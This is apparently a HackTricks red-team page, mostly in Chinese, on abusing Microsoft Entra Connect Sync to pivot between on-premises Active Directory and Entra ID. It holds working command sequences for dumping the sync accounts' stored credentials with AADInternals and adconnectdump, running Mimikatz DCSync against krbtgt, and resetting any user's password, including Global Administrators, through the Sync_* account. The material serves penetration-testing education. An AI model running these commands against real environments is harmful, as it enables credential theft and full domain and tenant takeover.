Az - Connect Sync

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Basic Information

From the docs: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) 是 Microsoft Entra Connect 的主要组件。它负责处理与在本地环境与 Microsoft Entra ID 之间同步身份数据相关的所有操作。

The sync service consists of two components, the on-premises Microsoft Entra Connect Sync component and the service side in Microsoft Entra ID called Microsoft Entra Connect Sync service.

为了使用它,需要在 AD 环境内的一台服务器上安装 Microsoft Entra Connect Sync agent。该 agent 将负责来自 AD 端的同步工作。

The Connect Sync is basically the “old” Azure way to synchronize users from AD into Entra ID. 推荐的新方式是使用 Entra Cloud Sync

Az - Cloud Sync

Principals Generated

  • The account MSOL_<installationID> 会在本地 AD 中自动创建。此账户被授予 Directory Synchronization Accounts role(参见 documentation),这意味着它在本地 AD 中具有 replication (DCSync) 权限
  • 这意味着任何能够入侵该账户的人都可以攻破本地域。
  • 一个托管服务账户 ADSyncMSA<id> 会在本地 AD 中创建,默认没有任何特殊权限。
  • 在 Entra ID 中会创建名为 ConnectSyncProvisioning_ConnectSync_<id> 的 Service Principal,并配有一个证书。

Synchronize Passwords

Password Hash Synchronization

This component can be also used to sychronize passwords from AD into Entra ID,使用户能够使用其 AD 密码连接到 Entra ID。为此,需要在安装在 AD 服务器上的 Microsoft Entra Connect Sync agent 中启用 password hash synchronization。

From the docs: Password hash synchronization 是实现混合身份的登录方法之一。Azure AD Connect 会将用户密码的哈希的哈希(a hash of the hash)从本地 Active Directory 实例同步到云端的 Azure AD 实例。

基本上,所有 用户 及其 密码哈希的哈希 会从本地同步到 Azure AD。但 明文密码原始哈希 不会发送到 Azure AD。

哈希的同步每 2 分钟 发生一次。然而,默认情况下,密码过期账户过期 不会同步到 Azure AD。因此,某个本地用户的 密码已过期(未更改)时,仍可能使用旧密码继续 访问 Azure 资源

当本地用户想要访问 Azure 资源时,身份验证在 Azure AD 上进行

Note

默认情况下,带有属性 adminCount 为 1 的已知特权组(例如 Domain Admins)的用户出于安全原因不会与 Entra ID 同步。然而,属于特权组但没有该属性的其他用户,或直接被分配高权限的用户可能会被同步

Password Writeback

此配置允许在用户在 Entra ID 中更改其密码时将密码写回(synchronize passwords from Entra ID into AD)到 AD。注意,为使 password writeback 生效,AD 中自动生成的 MSOL_<id> 用户需要被授予文档中指示的更多权限,以便它能够修改 AD 中任何用户的密码

这对于在已入侵的 Entra ID 环境中攻陷 AD 特别有意义,因为你可以修改“几乎”任何用户的密码。

如果组具有 adminCount 属性为 1,则域管理员和属于某些特权组的其他用户不会被复制。但在 AD 中被直接赋予高权限且不属于这些组的其他用户,其密码可能会被更改。例如:

  • 被直接分配高权限的用户。
  • 来自 DNSAdmins 组的用户。
  • 来自 Group Policy Creator Owners 组并创建了 GPO 并将其分配到 OU 的用户,将能够修改他们创建的 GPO。
  • 来自 Cert Publishers 组的用户,可以向 Active Directory 发布证书。
  • 任何其他具有高权限但没有 adminCount 属性为 1 的组的用户。

Pivoting AD –> Entra ID

Enumerating Connect Sync

Check for users:

# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

检查 Connect Sync 配置 (如果有):

az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

查找密码

MSOL_* 用户的密码(以及如果创建了 Sync_* 用户)存储在部署了 Entra ID Connect 的服务器上的 SQL server 中。管理员可以以明文形式提取这些特权用户的密码。
数据库位于 C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

可以从某个表中提取配置,其中一个是加密的:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

encrypted configuration 使用 DPAPI 加密,包含本地 AD 中 MSOL_* 用户的密码以及 AzureAD 中 Sync_* 的密码。因此,攻陷这些凭据后可以对本地 AD 和 AzureAD 进行 privesc。

你可以在 full overview of how these credentials are stored and decrypted in this talk 找到完整概述。

滥用 MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Warning

之前的攻击窃取了另一个密码,以连接到名为 Sync_* 的 Entra ID 用户并进一步入侵 Entra ID。但该用户现在已不存在。

滥用 ConnectSyncProvisioning_ConnectSync_

此应用创建时没有被分配任何 Entra ID 或 Azure 管理角色。但它具有以下 API 权限:

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

据称,该应用的 SP 仍可通过未记录的 API 执行一些特权操作,但据我所知尚未找到 PoC。无论如何,考虑到这可能性,值得进一步探索如何找到用于以该 service principal 登录的证书并尝试滥用它。

这篇 blog post 在从使用 Sync_* 用户改为使用该 service principal 后不久发布,解释说证书存储在服务器内,可以找到它,生成其 PoP (Proof of Possession) 和 graph token,利用这些可以向该 service principal 添加新的证书(因为一个 service principal 总是可以为自己分配新的证书),然后用它作为该 SP 维持持久性。

为执行这些操作,已发布了以下工具: SharpECUtils.

根据 this question,要找到该证书,必须从已窃取 miiserver 进程 token的进程中运行该工具。

滥用 Sync_* [已弃用]

Warning

之前在 Entra ID 中会创建一个名为 Sync_* 的用户,并赋予非常敏感的权限,允许执行修改任何用户密码或向 service principal 添加新凭证等特权操作。然而,从 2025 年 1 月起,默认不再创建该用户,改为使用 Application/SP ConnectSyncProvisioning_ConnectSync_<id>。但在某些环境中它仍可能存在,值得检查。

攻陷 Sync_* 帐户可以 重置任何用户的密码(包括 Global Administrators)

Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

也可以仅修改 cloud 用户的密码(即使这有点出乎意料)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

也可以转储该用户的密码。

Caution

另一种选择是 assign privileged permissions to a service principalSync 用户有执行此操作的 permissions,然后通过 access that service principal 来实现 privesc。

Seamless SSO

可以在配合 PHS 的情况下使用 Seamless SSO,这可能会受到其他滥用的影响。详见:

Az - Seamless SSO

Pivoting Entra ID –> AD

  • 如果启用了 password writeback,你可以 modify the password of any user in the AD,这些用户与 Entra ID 同步。
  • 如果启用了 groups writeback,你可以在与 AD 同步的 Entra ID 中 add users to privileged groups

参考资料

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks